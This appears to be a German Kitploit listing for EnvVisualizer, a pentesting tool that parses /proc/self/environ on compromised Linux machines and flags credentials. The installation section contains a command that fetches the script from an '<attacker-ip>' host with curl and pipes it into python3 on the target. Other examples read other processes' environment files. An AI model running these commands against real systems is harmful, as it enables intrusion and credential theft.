Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
EnvVisualizer — /proc/self/environ auf kompromittierten Linux-Boxen parsen und visualisieren — kategorisiert Umgebungsvariablen nach Tech-Stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker usw.) und generiert nach Schweregrad bewertete Erkenntnisse mit sofort ausführbaren Befehlen | Kitploit
Tools/GitHubGitHub/w4r10ck423/envvisualizer
DefensivwerkzeugeSchwachstellenanalyseKonfigurationsprüfungInformationsbeschaffungPost-ExploitationCTFPenetrationstestsCloud-SicherheitSecret-ErkennungRed Teaming
GitHubw4r10ck423/envvisualizer
196vor 5 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →

EnvVisualizer

/proc/self/environ auf kompromittierten Linux-Boxen parsen und visualisieren — kategorisiert Umgebungsvariablen nach Tech-Stack (AWS, Django, Rails, NodeJS, MySQL, K8s, Docker usw.) und generiert nach Schweregrad bewertete Erkenntnisse mit sofort ausführbaren Befehlen

Repository anzeigen
Teilen

EnvVisualizer

___________           ____   ____.__                    .__  .__                     
\_   _____/ _______  _\   \ /   /|__| ________ _______  |  | |__|_______ ___________ 
 |    __)_ /    \  \/ /\   Y   / |  |/  ___/  |  \__  \ |  | |  \___   // __ \_  __ \
 |        \   |  \   /  \     /  |  |\___ \|  |  // __ \|  |_|  |/    /\  ___/|  | \/
/_______  /___|  /\_/    \___/   |__/____  >____/(____  /____/__/_____ \\___  >__|   
        \/     \/                        \/           \/              \/    \/       

Parst, kategorisiert und visualisiert /proc/self/environ auf kompromittierten Linux-Maschinen.
Verwandelt eine Wand aus verschmolzenem Umgebungsvariablen-Text in strukturierte, farbcodierte Intel — in Sekunden.


Python Platform License Context Author

Autor: @W4r10ck423


Das Problem

Wenn man auf einer Box landet und /proc/self/environ liest, bekommt man Folgendes:

USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 linux x64 workspaces/falsenpm_node_execpath=/usr/bin/nodenpm_config_noproxy=HOME=/home/devnpm_package_json=/home/dev/projects/store1/package.jsonnpm_config_local_prefix=/home/dev/projects/store1SYSTEMD_EXEC_PID=881COLOR=0LOGNAME=devJOURNAL_STREAM=8:6005PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNODE=/usr/bin/nodeLANG=C.UTF-8npm_lifecycle_script=nodemon --exec 'node --inspect=127.0.0.1:9229 /home/dev/projects/store1/start.js'SHELL=/bin/bashnpm_lifecycle_event=watchEDITOR=vi

EnvVisualizer macht daraus Folgendes:

============================================================================
  EnvVisualizer — /proc/self/environ  (32 variables)
============================================================================

── Identity  (4) ───────────────────────────────────────────────────────────
  HOME                                 /home/dev
  LOGNAME                              dev
  SHELL                                /bin/bash
  USER                                 dev

── Paths & Dirs  (10) ──────────────────────────────────────────────────────
  PATH
      • /home/dev/projects/store1/node_modules/.bin
      • /home/dev/projects/node_modules/.bin
      • /usr/local/sbin
      • /usr/local/bin
      • /usr/sbin
      • /usr/bin
      • /sbin
      • /bin
      • /snap/bin
  PWD                                  /home/dev/projects/store1
  npm_config_cache                     /home/dev/.npm
  npm_execpath                         /usr/share/nodejs/npm/bin/npm-cli.js

── NPM / Node  (12) ────────────────────────────────────────────────────────
  NODE                                 /usr/bin/node
  npm_command                          run-script
  npm_config_user_agent                npm/8.5.1 node/v12.22.9 linux x64 workspaces/false
  npm_lifecycle_script                 nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  npm_package_json                     /home/dev/projects/store1/package.json

── System  (6) ─────────────────────────────────────────────────────────────
  COLOR                                0
  EDITOR                               vi
  INVOCATION_ID                        abc0ab20c7dd498792d8be51c591071a
  JOURNAL_STREAM                       8:6005
  LANG                                 C.UTF-8
  SYSTEMD_EXEC_PID                     881

── Pentest Insights ────────────────────────────────────────────────────────
  ▶  Node.js debugger exposed → 127.0.0.1:9229  (try: node-inspector / chrome://inspect)
  ▶  Home dir: /home/dev
  ▶  Shell: /bin/bash
  ▶  npm_lifecycle_script = nodemon --exec 'node --inspect=127.0.0.1:9229 ...'
  ▶  npm_lifecycle_event = watch

Mit installiertem rich erhält jede Kategorie ihre eigene farbcodierte Tabelle.


Funktionen

  • Drei Eingabemodi — Datei direkt lesen (perfekte Genauigkeit), über stdin pipen oder einen Rohstring einfügen
  • Intelligenter Zwei-Klassen-Parser — verarbeitet korrekt verkettete Strings, bei denen Null-Bytes durch Copy-Paste entfernt wurden; erkennt großgeschriebene POSIX-Variablen und bekannte kleingeschriebene Präfix-Variablen (npm_*, node_*, pip_*, etc.)
  • Sechs semantische Kategorien — Security/Auth, Identity, Paths & Dirs, NPM/Node, Network/Proxy, System und Other
  • PATH-Erweiterung — jedes Verzeichnis als Aufzählungspunkt statt einer durch Doppelpunkte getrennten Wand
  • Secret-Erkennung — markiert Variablen, deren Namen oder Werte Credential-Mustern entsprechen (TOKEN, KEY, SECRET, PASSWORD, etc.) mit einer ⚠-Warnung
  • Pentest Insights-Panel — zeigt automatisch umsetzbare Erkenntnisse auf: Root-Kontext, Sudo-Eskalation, exponierte Node.js-Debugger-Ports, aktive Lifecycle-Skripte
  • Rich oder Plain — farbcodierte Tabellen mit installiertem rich; saubere Plain-Text-Ausgabe als Fallback (keine Abhängigkeiten erforderlich)

Installation

Option 1 — Klonen und ausführen (empfohlen für Pentest-Umgebungen)

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install rich          # optional but recommended
python3 envvisualizer.py --help

Option 2 — Als Systembefehl installieren

git clone https://github.com/w4r10ck423/EnvVisualizer.git
cd EnvVisualizer
pip install .
envvisualizer --help

Option 3 — Einzeldatei-Drop (kein git erforderlich)

Kopiere envvisualizer.py auf die Ziel- oder Angreifer-Maschine. Es läuft ohne Abhängigkeiten:

# On the attacker machine — host it
python3 -m http.server 8080

# On the target machine — grab and run
curl http://<attacker-ip>:8080/envvisualizer.py | python3 - -f /proc/self/environ

Anforderungen

AbhängigkeitVersionErforderlich
Python≥ 3.8Ja
rich≥ 13.0Nein (Plain-Text-Fallback)

Verwendung

usage: envvisualizer [-h] [-f PATH] [-r STRING] [--no-rich]

options:
  -h, --help            show this help message and exit
  -f PATH, --file PATH  Environ file path (null-byte delimited)
  -r STRING, --raw STRING
                        Raw concatenated environ string (copy-pasted, no null bytes)
  --no-rich             Force plain-text output

Eingabemodi

MethodeBefehlGenauigkeit
Direktes Dateilesenpython3 envvisualizer.py -f /proc/self/environ✅ Perfekt (Null-Byte-Split)
Stdin-Pipecat /proc/self/environ | python3 envvisualizer.py✅ Perfekt (Null-Byte-Split)
Eingefügter Stringpython3 envvisualizer.py -r 'USER=dev...'✅ Gut (Zwei-Klassen-Heuristik)
Keine Argumente (Demo)python3 envvisualizer.py✅ Perfekt (eigener Prozess)

Tipp: Bevorzuge -f, wann immer du Dateizugriff hast.
Das Null-Byte-Trennzeichen in der echten Datei ist exakt — keine Heuristiken nötig.


Beispiele

Direkt aus proc lesen (beste Genauigkeit)

# Current process
python3 envvisualizer.py -f /proc/self/environ

# Another process by PID
python3 envvisualizer.py -f /proc/1337/environ

# Any process you can read
python3 envvisualizer.py -f /proc/$(pgrep node)/environ

Über stdin pipen

cat /proc/self/environ | python3 envvisualizer.py

Einen Rohstring einfügen (kopiert aus einer Web-Shell / RCE-Ausgabe)

python3 envvisualizer.py -r 'USER=devnpm_config_user_agent=npm/8.5.1 node/v12.22.9 ...'

Plain-Text-Ausgabe (keine rich-Abhängigkeit)

python3 envvisualizer.py -f /proc/self/environ --no-rich

Ausgabekategorien

Tool herunterladen